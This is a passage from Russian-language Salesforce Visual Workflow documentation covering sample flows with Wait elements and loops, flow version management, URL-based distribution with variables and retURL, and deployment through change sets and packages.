Настроить ожидание событий в потоке можно одним из трех способов.

Образец потока, ожидающего множество событий
Данныйпоток дожидается выполнениямножества событий, а не только первого события. Базовым временем данных
событий являются значения полей, поэтому данный пример использует оповещения по относительному времени.

Образец потока, ожидающего только первое событие
Данныйпоток дожидается выполненияпервого событияизмножества. Базовымвременемданных событий являются
значения полей, поэтому данный пример использует оповещения по относительному времени.
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Образец потока, ожидающего отдельное событие
Данный поток дожидается отдельного события. Базовым временем события в данном примере является системная
переменная {!$Flow.CurrentDateTime}.

СМ. ТАКЖЕ:

Элемент «Ожидание» в потоке

Образец потока, ожидающего множество событий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныйпотокдожидаетсявыполнениямножествасобытий, анетолькопервогособытия.
Базовым временем данных событий являются значения полей, поэтому данныйпример
использует оповещения по относительному времени.

Напоминания об обслуживании клиентов должны отправляться ответственным за
контракты до наступления даты их окончания. Тем не менее, напоминания должны
отправлятьсярегулярно, анеразово. Данныйпримеропределяетпорядокиспользования
одногоэлемента «Ожидание» дляотправкипервогонапоминаниязадвенеделиивторого
за однунеделюдонаступлениядатыокончания контракта. Принеобходимостиданный
поток может отправлять дополнительные напоминания (например, за три дня и один
день до наступления даты окончания контракта).

Пример

Данный поток уже содержит данные заполненные переменные.

• {!contract} — это переменная sObject, содержащая значения полей Id и OwnerId контракта.

• {!oneWeekVisited} — это логическая переменная, содержащая стандартное значение
{!$GlobalConstant.False}.

• {!twoWeeksVisited} — это логическая переменная, содержащая стандартное значение
{!$GlobalConstant.False}.

Прежде чем выполнить элемент «Ожидание», поток находит и сохраняет значения полей Id и OwnerId контракта.

Электронныенапоминанияотправляютсяпотокомзадвенеделииоднунеделюдонаступлениядатыокончанияконтракта,
поэтому элемент «Ожидание» дополняется двумя событиями оповещения по относительному времени.
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Совет: Каждое событие оповещения состоит из базового времени и смещения. При использовании оповещений
по относительному времени поток определяет базовое время по трем элементам: объект, поле даты/времени и
конкретнаязапись. Смещениедляоповещенийпоотносительномувременианалогичносмещениямдляоповещений
по абсолютному времени. Поток должен определять единицу («Дни» или «Часы») и количество данных единиц.
Чтобы разрешить потоку ожидание в течение определенного количества дней или часов до базового времени,
назначьте параметру «Число смещения» отрицательное целое число.

Единицесмещенияобоихсобытийзадается значение «Дни», таккакединицасмещения «Недели» неподдерживается.

Базовое времяпервого события («2 недели») — это значение Contract.EndDate (1) для записи, код которой хранится
в {!contract.Id} (2). Смещению соответствует значение «-14 дней» (3), которое обозначает две недели.

Аналогичныйэлемент «Ожидание» должениспользоватьсядля каждогонапоминания, то есть сеанспотока, отправивший
одно электронное напоминание, возвращается к элементу «Ожидание». Однако, чтобы избежать повторной отправки
одного и того же сообщения эл. почты, воспользуйтесь условиями ожидания. При выполнении элемента «Ожидание» сеанс
проверяетусловияожиданиядлякаждогособытиясцельюопределениянеобходимостиихожидания. Сеанснедожидается
события, условия ожидания которого заданы, но не выполняются.

Для первого события сеанс проверяет логическую переменную {!twoWeekVisited} на наличие ложного значения.
Переменнойзадаетсястандартноезначение {!$GlobalConstant.False}, поэтомупотокдолжендожидатьсясобытия
до изменения значения переменной.

Чтобы определить действия, которые выполняются потоком при наступлении события «2 недели», свяжите элемент
«Ожидание» с другими элементами. Прежде чем вернуть путь потока в элемент «Ожидание», задайте переменной
{!twoWeeksVisited} значение {!$GlobalConstant.True}. Данноедействиеможетбытьвыполненопосредством
элемента «Назначение». Если значение переменной {!twoWeeksVisited} не является ложным при выполнении
элемента «Ожидание», то поток не дожидается выполнения события «2 недели». Фактически, сеанс проверяет, наступило
ли первое событие, ввиду назначения истинного значения переменной только в пути данного события. Если данное
событие наступило, но переменной не задано ложное значение, то сеанс не дожидается данного события.

Второе событие («1 неделя») использует аналогичное базовое время (4), а смещению соответствует значение «-7 дней»
(5), которое обозначает одну неделю.
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Для второго события поток проверяет логическую переменную {!oneWeekVisited} на наличие ложного значения.
При его отсутствии поток не дожидается данного события.

Подобно первому событию, прежде чем вернуть путь потока в элемент «Ожидание», задайте переменной
{!oneWeekVisited} значение {!$GlobalConstant.True} посредствомэлемента «Назначение». Еслипеременная
{!oneWeekVisited} не содержит ложное значение, то поток не дожидается выполнения события «1 неделя».

Совет: Если поток выполняет элемент «Ожидание», но все события содержат невыполненные условия ожидания,
топоток выполняет стандартныйпуть события. Данныйпоток завершаетсяпослеотправкипоследнегонапоминания,
поэтому пользователи могут не связывать стандартный путь с другим элементом.

Рекомендуем настроить путь ошибки. В данном примере путь ошибки отправляет сообщение эл. почты, содержащее
сообщение об ошибке, пользователю, создавшему поток.

Образец потока, ожидающего только первое событие

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данныйпотокдожидаетсявыполненияпервогособытияизмножества. Базовымвременем
данных событий являются значения полей, поэтому данный пример использует
оповещения по относительному времени.

Напоминания об обслуживании клиентов должны отправляться ответственным за
организациизанеделюдонаступлениядатыпродленияорганизацииилидатыокончания
контракта. Поток отправляет электронное напоминание для даты, которая наступает
первой.

Пример

Данный поток уже содержит данные заполненные переменные.

• {!accountId} содержит код организации.

• {!contractId} содержит код контракта.

• {!accountOwner} содержит код ответственного за организацию.

• {!ownerEmail} содержит адрес эл. почты ответственного за организацию.
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Прежде чем выполнить элемент «Ожидание», поток находит и сохраняет значение поля ID контракта, значения полей
ID и OwnerId родительской организации и значение поля Email ответственного за организацию.

Элемент «Ожидание» определяет два события оповещения по относительному времени.

Совет: Каждое событие оповещения состоит из базового времени и смещения. При использовании оповещений
по относительному времени поток определяет базовое время по трем элементам: объект, поле даты/времени и
конкретнаязапись. Смещениедляоповещенийпоотносительномувременианалогичносмещениямдляоповещений
по абсолютному времени. Поток должен определять единицу («Дни» или «Часы») и количество данных единиц.
Смещению обоих событий задается значение «-7 дней», так как единица смещения «Недели» не поддерживается.

Базовое время первого события («Неделя до продления организации») — это значение Account.Renewal_Date__c
(1) для записи, код которой хранится в {!accountId} (2). Смещению соответствует значение «-7 дней» (3).

Базовое время второго события («Неделядоистечениясрока действияконтракта») — это значение Contract.EndDate
(4) для записи, код которой хранится в {!contractId} (5). Смещению соответствует значение «-7 дней» (6).

Данные события не требуют наличия условий ожидания, так как количество дополнительных напоминаний не должно
превышатьодного, апотокдолженвсегда дожидатьсянаступленияобоихсобытий. Темнеменее, рекомендуемнастроить
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путь ошибки. В данном примере путь ошибки отправляет сообщение эл. почты, содержащее сообщение об ошибке,
пользователю, создавшему поток.

СМ. ТАКЖЕ:

Элемент «Ожидание» в потоке

Оповещения по относительному времени

Элемент «Ожидание» в потоке

Оповещения по относительному времени

Что такое условия ожидания?

Образец потока, ожидающего отдельное событие

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Данный поток дожидается отдельного события. Базовым временем события в данном
примере является системная переменная {!$Flow.CurrentDateTime}.

Чтобы запросить отзывы клиентов после активации контракта, но отложить отправку
сообщения эл. почты на один день, воспользуйтесь примером ниже.

Пример

Данный поток уже содержит указанные ниже заполненные переменные.

• {!customerEmail} содержит адрес эл. почты клиента.

• {!creatorEmail} содержит адрес эл. почты создателя потока.

Поток активирует контракт (1), а затем ожидает (2).

Элемент «Ожидание» определяет отдельное событие (1 день после активации). Поток отправляет запрос отзыва через
один день после активации контракта, поэтому система позволяет использовать оповещение по абсолютному времени.
Системная переменная {!$Flow.CurrentDateTime} используется в качестве базового времени (3), а значение
«1 день» в качестве смещения (4).
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Ввиду наличия только одного события и необходимости только разовой отправки запроса отзыва, данное событие не
требуетнастройкиусловийожидания. Темнеменее, рекомендуемнастроитьпутьошибки. Вданномпримерепутьошибки
отправляет сообщение эл. почты, содержащее сообщение об ошибке, пользователю, создавшему поток.

СМ. ТАКЖЕ:

Элемент «Ожидание» в потоке

Оповещения по абсолютному времени

Образец потока, выполняющего цикл по коллекции

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Сиспользованиемколлекцийпеременных sObject ицикловможнопередавать владение
организациями от одного пользователя другому. Поток уже содержит обязательные
коды пользователей.

Во-первых, создайте переменную коллекции sObject на основе организаций по имени
collAcct1 и заполните ее всеми организациями, принадлежащими пользователю 1.

Затем создайте цикл, выполняющий итерацию по коллекции. Ниже перечислены
действия, выполняемые циклом для каждого элемента коллекции.

1. Цикл назначает элемент коллекции переменной цикла.

2. Цикл оценивает численность сотрудников организации.

3. Есличисленностьпревышает 10 000 сотрудников, тоциклназначаеткодпользователя
2 полю OwnerId в переменной цикла.

4. Если численность не превышает 10 000 сотрудников, то цикл назначает код пользователя 3 полю OwnerId в
переменной цикла.

5. Циклдобавляет значенияпеременнойциклавкачественовогоэлементавторойколлекции collReassignedAccts.

Создайтеэлемент «Быстроеобновление» дляобновленияорганизацийвколлекции collReassignedAccts посредством
новых значений поля OwnerId после завершения итерации по коллекции.
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Данный раздел потока использует отдельный запрос для создания списка организаций и отдельный оператор DML для
ихобновления. Присозданиипохожегопотокапосредствомэлементов «Обновление записи» рекомендуемиспользовать:

• один элемент «Обновление записи» для поиска всех организаций, принадлежащих пользователю 1 и содержащих
более 10 000 сотрудников (1 запрос), ипоследующегообновленияполя OwnerId данныхзаписейкодомпользователя
2 (1 оператор DML);

• один элемент «Обновление записи» для поиска всех организаций, принадлежащих пользователю 1 и содержащих
менее 10 000 сотрудников (1 запрос), ипоследующегообновленияполя OwnerId данныхзаписейкодомпользователя
3 (1 оператор DML).

Управление потоками

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Страница сведений о потоке применяется для всех действий с потоком, не связанных с
егопроектированием, таких как активацияпотока, тестированиеипросмотр его свойств.

Чтобыоткрытьстраницусведенийопотоке, введите «Потоки» вполе «Быстрый поиск»
в меню «Настройка», выберите «Потоки», затем щелкните по имени потока.

Поток и поля с версией потока
Просмотр сведений о потоке (например, имени и URL-адреса) и его версиях на
странице описания потока.

Открытие и изменение потока
Чтобы изменить поток, откройте нужный поток в облачной версии приложения
Flow Designer.

Тестирование потока
Чтобыгарантироватьстабильнуюработупотоков, рекомендуемактивироватьпотокитолькопослеихпредварительного
тестирования.
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Активация или деактивация версии потока
Один и тот же поток в Salesforceможет иметь несколько разных версий, но одновременноможет быть активна только
одна версия каждого потока. Чтобы активировать или деактивировать версию потока, откройте страницу сведений
о нужном потоке в меню «Настройка».

Удаление приостановленного или ожидающего сеанса потока
Длительный или приостановленный сеанс потока, завершения или возобновления которого больше не требуется
ждать, может быть удален. Например, при обновлении или удалении связанной версии потока.

Удаление версии потока
Преждечемудалитьактивнуюверсиюпотока, рекомендуемдеактивироватьнужнуюверсиюпотока. Поток, содержащий
приостановленные или ожидающие сеансы, может быть удален только после их завершения или удаления. Потоки,
которые не были активированы, могут быть удалены незамедлительно.

Предоставление пользователям возможности приостановки потоков
Разрешитепользователямприостанавливатьсеанспотока, которыйпоканеможетбыть завершен, настроивпараметры
утверждений и поток организации. Сеанс потока — это выполняемый экземпляр потока. Например, представитель
службыподдержкиможетприостанавливатьсеанспотока, есликлиентнерасполагаетвсейнеобходимойинформацией.

СМ. ТАКЖЕ:

Visual Workflow

Ограничения для Visual Workflow

Рекомендации по управлению потоками

Поток и поля с версией потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Просмотр сведений о потоке (например, имении URL-адреса) и его версиях на странице
описания потока.

ОписаниеСвойство

Указывает активную версию.Активная
версия

Описание потока или версии потока.Описание

Имядляпотока. Оноотображается вдинамическомпользовательском
интерфейсе.

Имя потока

Имя версии потока. Оно становится значением поля «Имя потока»
при активации этой версии.

Имя

Префикс пространства имен потока, если он был установлен из
управляемого пакета. Облачная версия приложения Flow Designer не
позволяетоткрыватьпотоки, установленныеиз управляемыхпакетов.

Префикс
пространства
имен

Определяет элементы и ресурсы, поддерживаемые потоком или
версией потока, а также способы распространения потока.

Тип

Дополнительную информацию см. в разделе «Типы потоков» на
странице 5018.

Указывает, активна версия потока или нет.Статус
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ОписаниеСвойство

Позволяет обращаться к потоку из других частей Salesforce, например со страницы Visualforce.Уникальное имя

Относительный URL-адрес, которыйможноиспользоватьдлязапускапотока, напримерспомощью
пользовательской кнопки или веб-вкладки.

URL-адрес

Номер версии потока.Версия

СМ. ТАКЖЕ:

Управление потоками

Свойства потока

Открытие и изменение потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Чтобы изменить поток, откройте нужный поток в облачной версии приложения Flow
Designer.

Изменения, внесенныевактивнуюверсиюпотока, немогутбытьсохранены. Рекомендуем
открыть активную версию потока, внести нужные изменения и сохранить измененную
версию в качестве новой версии или нового потока.

1. Введите строку «Потоки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Потоки».

2. Щелкните имя нужного потока.

3. Откройте нужный поток.

• Чтобы открыть конкретную версию, щелкните ссылку «Открыть» напротив
номера нужной версии.

• Чтобы открыть активную версию потока, нажмите кнопку «Открыть». При
отсутствии активной версии открывается последняя версия.

СМ. ТАКЖЕ:

Рекомендации по проектированию потоков

Управление потоками

Активация или деактивация версии потока
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Тестирование потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для выполнения активного
или неактивного потока со
страницы сведений о
потоке:

Для выполнения потока
посредством облачной
версии приложения Flow
Designer:

• «Управление Force.com
Flow»

Чтобы гарантировать стабильную работу потоков, рекомендуем активировать потоки
только после их предварительного тестирования.

Внимание: Рекомендуем внимательно проверять потоки, содержащие элементы
удаления. Поток (даже неактивный) инициирует операцию удаления.

Прежде чем активировать поток, рекомендуем протестировать все возможные пути
потока и исправить любые найденные ошибки. Например, неполные данные потока
могут препятствовать выполнению элемента данных (создание, обновление, поиск или
удаление). Рекомендуемдополнитьпуть коннектором «Ошибка», предназначеннымдля
исправления данных и гарантирующим успешное выполнение потока.

1. Введите строку «Потоки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Потоки».

2. Щелкните имя нужного потока.

3. Выполните поток.

• Чтобывыполнитьконкретнуюверсию, щелкнитессылку«Выполнить»напротив
нужной версии.

• Чтобывыполнитьактивнуюверсиюпотока, нажмитекнопку «Выполнить». При
отсутствии активной версии выполняется последняя версия.

• ЧтобывыполнитьверсиюпотокаизоблачнойверсииприложенияFlow Designer,
откройте данную версию и нажмите кнопку «Выполнить» на панели кнопок.

Совет: При недавнем изменении тестируемого потока рекомендуем
сохранить внесенные изменения. При выполнении потока добавляются
только последние сохраненные изменения.

Убедившись в стабильной работе потока, активируйте протестированную версию и распространите поток.

СМ. ТАКЖЕ:

Активация или деактивация версии потока

Настройка действий, выполняемых при неудачном выполнении потока

Рекомендации по выполнению потоков

Управление потоками
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Активация или деактивация версии потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для активации или
деактивации потока:
• «Управление Force.com

Flow»

Одинитотжепоток в Salesforceможетиметьнесколькоразныхверсий, ноодновременно
может быть активна только одна версия каждого потока. Чтобы активировать или
деактивировать версию потока, откройте страницу сведений о нужном потоке в меню
«Настройка».

При активации новой версии предыдущая активированная версия потока (при ее
наличии) автоматическидеактивируется. Любойвыполняемыйсеанспотокапродолжает
выполняться посредством версии, использовавшейся при его запуске.

1. Введите строку «Потоки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Потоки».

2. Щелкните имя нужного потока.

3. Щелкните ссылку «Активировать» или «Деактивировать» напротив нужной
версии потока.

СМ. ТАКЖЕ:

Рекомендации по управлению потоками

Управление потоками

Удаление приостановленного или ожидающего сеанса потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для открытия, создания или
редактирования потока в
облачной версии
приложения Flow Designer:
• «Управление Force.com

Flow»

Длительный или приостановленный сеанс потока, завершения или возобновления
которого больше не требуется ждать, может быть удален. Например, при обновлении
или удалении связанной версии потока.

1. Введите строку «Потоки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Потоки».

При наличии ожидающих сеансов для любого потока связанный список
«Приостановленные и ожидающие сеансы» отображается под списком потоков.

2. Щелкните ссылку «Удал.» напротив каждого нужного сеанса.
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Удаление версии потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для удаления потока:
• «Управление Force.com

Flow»

Прежде чем удалить активную версию потока, рекомендуем деактивировать нужную
версиюпотока. Поток, содержащийприостановленныеилиожидающиесеансы, может
быть удален только после их завершения или удаления. Потоки, которые не были
активированы, могут быть удалены незамедлительно.

1. Введите строку «Потоки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Потоки».

2. Щелкните имя нужного потока.

3. Чтобы полностью удалить поток, включая все версии, нажмите кнопку «Удалить».

4. Чтобы удалить отдельную версию, щелкните ссылку «Удал.» напротив нужной
версии.

СМ. ТАКЖЕ:

Рекомендации по управлению потоками

Управление потоками

Предоставление пользователям возможности приостановки потоков

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования
параметров бизнес-правил
и утверждений:
• «Настройка

приложения»

Разрешитепользователямприостанавливать сеанспотока, которыйпоканеможетбыть
завершен, настроив параметры утверждений и поток организации. Сеанс потока — это
выполняемый экземпляр потока. Например, представитель службы поддержки может
приостанавливать сеанс потока, если клиент не располагает всей необходимой
информацией.

1. Вразделе «Настройка» введите «Параметры автоматизации процесса» вполе «Быстрый
поиск», затем выберите «Параметры автоматизации процесса».

2. Установите флажок «Разрешить пользователям приостановку потоков».

3. Нажмите кнопку «Сохранить».

Элементы «Окно» не поддерживают автоматическое отображение кнопки
«Приостановить» послевключенияпараметра «Разрешить пользователям приостановку
потоков». Чтобы разрешить пользователям приостановку, установите флажок
«Показывать кнопку "Приостановить"» при настройке нужного элемента «Окно».

СМ. ТАКЖЕ:

Элемент «Окно» в потоке: общие сведения
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Распространение потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Созданная и активированная версия потока должна быть распространена между
пользователями. Нужный метод распространения определяется целевой аудиторией:
внутренние пользователи, внешние пользователи, системы или другие организации.

В зависимости от выбранного типа пользователя, потоки могут распространяться
перечисленными ниже способами.

Внутренние пользователи

• Распространение URL-адреспотоканапрямую, либопосредствомнастраиваемой
кнопки, ссылки или веб-вкладки.

• ДобавлениепотоканастраницуVisualforceивнедрениеданнойстраницывсистему
Salesforce посредством настраиваемой кнопки, ссылки или вкладки Visualforce.

Внешние пользователи
ДобавлениепотоканастраницуVisualforceивнедрениеданнойстраницынасайтForce.com, клиентскийилипартнерский
портал.

Системы
Автоматический запуск потока:

• Путем использования метода Apex start().

• Путем использования ресурса «Вызываемое действие» в интерфейсе Force.com REST API.

• Путем добавления действия потока в процесс посредством конструктора процессов.

Другие организации
Развертывание потока посредством наборов изменений или пакета.

Дополнительныесведенияо каждомметодераспространенияпотоков см. вразделе «Распространениепотока» руководства
по внедрению Visual Workflow.

СМ. ТАКЖЕ:

Настройка переменных потока посредством URL-адреса потока

Добавление потока на страницу Visualforce

Управление страницами Visualforce сайтов Force.com

Создание веб-вкладок
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Настройка переменных потока посредством URL-адреса потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра страницы
сведений о потоке:
• «Просмотр настройки и

конфигурации»

Для создания и
редактирования
настраиваемых кнопок,
ссылок и веб-вкладок:
• «Настройка

приложения»

При использовании URL-адреса для распространения потока его переменные могут
настраиваться посредством параметров URL-адреса.

Параметры URL-адреса не могут использоваться для настройки значений переменных
sObject или переменных коллекции sObject.Поле «Тип ввода/вывода» настраиваемой
переменной должно разрешать доступ для ввода.

1. Введите строку «Потоки» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Потоки».

2. Щелкните имя нужного потока.

3. Скопируйте URL-адрес потока.

4. Дополнитеначало URL-адресапотокастрокой http://экземпляр.salesforce.com,
где переменная экземпляр — это экземпляр организации.
Например:

http://na1.salesforce.com/flow/MyFlow

5. Дополните конец URL-адреса потока строкой ?имя=значение, где переменная имя — это уникальное имя нужной
переменной или переменной коллекции потока, а переменная значение — это нужное значение. Чтобы задать разные
значения переменной, дополните конец URL-адреса потока строкой ?имя1=значение1&имя2=значение2. Чтобы задать
значения для нескольких элементов одной переменной коллекции, воспользуйтесь строкой
?имя=значение1&имя=значение2.
Например:

http://na1.salesforce.com/flow/MyFlow?varNumber=100&varString=Hello

Ниже перечислены допустимые значения для каждой переменной и переменной коллекции потока на основе
используемого типа данных.

Допустимые значенияТип
переменной

Поле слияния типа «Дата» или формат ГГГГ-ММ-ДД.Дата

Поле слияния типа «Дата/время» или формат ГГГГ-ММ-ДДTчч:мм:ссZ.Дата и
время

Поле слияния любого типа или строка.Текст
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Допустимые значенияТип
переменной

Поле слияния типа «Число» или числовое значение.Число

Поле слияния типа «Число» или числовое значение.Валюта

Логический • Поле слияния типа «Кнопка-флажок».

• Истинные значения: истина или 1.

• Ложные значения: ложь или 0.

Прим.: При распространении потока не рекомендуем передавать значение поля валюты из записи Salesforce в
переменную потока типа «Валюта» посредством параметра URL-адреса. Если поле слияния (например,
{!Account.AnnualRevenue}) ссылается на поле валюты, то значение поля содержит символ единицы
валюты (например, $). Переменныепотока типа «Валюта» могут принимать только числовые значения, поэтому
поток не выполняется. Взамен, рекомендуем использовать параметр URL-адреса для переноса кода записи в
переменнуюпотока типа «Текст», а в потоке использовать код для поиска значенияполя валютыданной записи.

Пример: Ниже приведен пример URL-адреса потока, используемого настраиваемой кнопкой в макете страницы
обращений. При нажатии данной кнопки выполняемый поток содержит переменную varID (типа «Текст»),
использующую значение поля CaseNumber записи обращения.

http://na1.salesforce.com/flow/Case_Management?varID={!Case.CaseNumber}

Примерниже задает переменным varUserFirst и varUserLast (типа «Текст») значенияполей FirstName и LastName
текущего пользователя.

http://na1.salesforce.com/flow/User_Info?varUserFirst={!$User.FirstName}&varUserLast={!$User.LastName}

Ниже приведен пример URL-адреса потока, используемого настраиваемой кнопкой в макете страницы контактов.
Нажатие данной кнопки инициирует запуск потока и добавление текстовых значений из контакта в качестве
элементов в переменной коллекции типа «Текст» {!collNames}.

http://na1.salesforce.com/flow/Contact_Info?collNames={!Contact.FirstName}&collNames={!Contact.LastName}

СМ. ТАКЖЕ:

Настройка алгоритма завершения потока посредством URL-адреса потока

Распространение потока

Устранение неполадок URL-адресов потока
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Настройка алгоритма завершения потока посредством URL-адреса потока

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

По умолчанию завершение сеанса потока, использующего окна, инициирует начало
нового сеанса данного потока и перенаправление пользователей в первое окно. Для
перенаправления пользователей на другую страницу Salesforce при нажатии кнопки
«Готово» рекомендуем дополнить URL-адрес потока параметром retURL.

Формат

Чтобы перенаправить пользователей на конкретную страницу Salesforce после нажатия
кнопки «Готово», воспользуйтесь строкой ниже.

http://instance.salesforce.com/flow/flowName?retURL=page_name

где page_name — это часть URL-адреса, отображаемая после http://instance.salesforce.com/.

Ограничения

• Пользователи потока не могут перенаправляться на URL-адрес, используемый вне организации Salesforce.

• Переменнаяпотоканеможетиспользоваться как значениепараметра retURL. Чтобыиспользоватьпеременнуюпотока
для перенаправления пользователя (например, в конкретную запись), распространите поток посредством Visualforce.

• Использование retURL может инициировать отображение вложенных верхних и боковых панелей навигации на
целевой странице.

Примеры

URL-адрес потока ниже перенаправляет пользователя на начальную вкладку обращений
(http://na1.salesforce.com/500/o).

http://na1.salesforce.com/flow/Case_Management?retURL=500/o

URL-адреспотоканижезадаетпеременным varUserFirst и varUserLast (типа «Текст») значенияполей FirstName и LastName
текущего пользователя. При завершении сеанса потока пользователь перенаправляется на страницу
http://na1.salesforce.com/home/home.jsp.

http://na1.salesforce.com/flow/User_Info?varUserFirst={!$User.FirstName}
&varUserLast={!$User.LastName}&retURL=home/home.jsp

СМ. ТАКЖЕ:

Распространение потока

Устранение неполадок URL-адресов потока

Настройка переменных потока посредством URL-адреса потока

Потоки в наборах изменений и пакетах
Потоки, созданныепосредствомоблачнойверсииприложения Flow Designer, могут быть добавленывнаборыизменений
и пакеты. В организации-получателе набора изменений или пакета должна быть включена поддержка Visual Workflow.
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Рекомендации по распространению потоков с наборами изменений
Преждечемиспользоватьнаборыизмененийдляразвертыванияпотока, просмотритеограниченияинепредвиденные
алгоритмы, связанные с зависимостями компонента, развертыванием и триггерами потока.

Рекомендации по распространению потоков вместе с пакетами
Потоки могут добавляться в управляемые и неуправляемые пакеты.Прежде чем развернуть поток, просмотрите
ограничения и алгоритмы для пакетов, содержащих потоки.

СМ. ТАКЖЕ:

Рекомендации по установленным потокам

Ограничения и рекомендации для Visual Workflow

Распространение потока

Рекомендации по распространению потоков с наборами изменений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем использовать наборы изменений для развертывания потока, просмотрите
ограничения и непредвиденные алгоритмы, связанные с зависимостями компонента,
развертыванием и триггерами потока.

Зависимости компонента

• Чтобы развернуть поток посредством наборов изменений, рекомендуем
просмотретьограниченияпомиграции. Убедитесь, чтопотокиссылаютсятолько
на поля и компоненты, доступные в наборах изменений.

• При просмотре зависимых компонентов для набора изменений страница
«Зависимости компонента» содержит зависимости для всех версий потока. Все
взаимозависимыекомпонентыдлясоответствующейверсиипотокадолжныбыть
добавлены в набор исходящих изменений.

• Компонент, используемыйперечисленныминижеэлементамипотока, неотображаетсяна странице «Зависимости
компонента». Для успешного развертывания потока рекомендуем добавить данные ссылочные компоненты в
набор изменений вручную.

– Apex

– Электронные предупреждения

– Опубликовать в Chatter

– Быстрые действия

– Отправка эл. почты

– Отправить на утверждение

Например, прииспользованииэлектронногопредупреждениядобавьте вручнуюшаблонэл. почты, используемый
данным электронным предупреждением.

Развертывание

• Набор изменений может содержать только одну версию потока.

• Активныйпоток в наборе измененийразвертывается в целевой организации как неактивный. Поток должен быть
активирован вручную после развертывания.

• Если при загрузке набора исходящих изменений отсутствует активная версия потока, то используется последняя
неактивная версия.
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• Первоначальное или повторное развертывание потока посредством наборов изменений инициирует создание
версии потока в целевой организации.

Триггеры потока
Триггеры потока недоступны в наборах изменений.

Конструктор процессов заменяет триггеры потока как действия бизнес-правила, ранее доступные только в пробной
версии. Организации, использующие триггеры потока как действия бизнес-правила, могут продолжить их создание
и редактирование; триггеры потока как действия бизнес-правила недоступны новым организациям.

СМ. ТАКЖЕ:

Наборы изменений

Рекомендации по распространению потоков вместе с пакетами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Потокимогутдобавлятьсявуправляемыеинеуправляемыепакеты.Преждечемразвернуть
поток, просмотрите ограничения и алгоритмы для пакетов, содержащих потоки.

Зависимости компонента

• Чтобы развернуть поток посредством пакетов, рекомендуем просмотреть
ограничения по миграции. Убедитесь, что потоки ссылаются только на
компоненты и поля пакета.

• Подобно другим элементам пакета, потоки поддерживают целостность данных.

• Еслипотоксодержитлюбыеизперечисленныхнижеэлементов, топакетируемые
компоненты, на которые они ссылаются, не подлежат автоматическому
добавлениювпакет. Дляуспешногоразвертыванияпакетарекомендуемдобавить
данные ссылочные компоненты в пакет вручную.

– Apex

– Электронные предупреждения

– Опубликовать в Chatter

– Быстрые действия

– Отправка эл. почты

– Отправить на утверждение

Например, прииспользованииэлектронногопредупреждениядобавьте вручнуюшаблонэл. почты, используемый
данным электронным предупреждением.

Статус потока
Пакеты позволяют добавлять только активные потоки. Активная версия потока определяется при загрузке версии
пакета. При отсутствии активных версий потока загрузка прекращается.

Обновление пакетов

• Чтобыобновить управляемыйпакетпосредствомдругой версиипотока, активируйтенужнуюверсиюиповторно
загрузите пакет. Недавно активированная версия потока не должна добавляться в пакет. Обратите внимание, что
версия потока, активированная по ошибке, будет доступна всем пользователям организации в случае загрузки
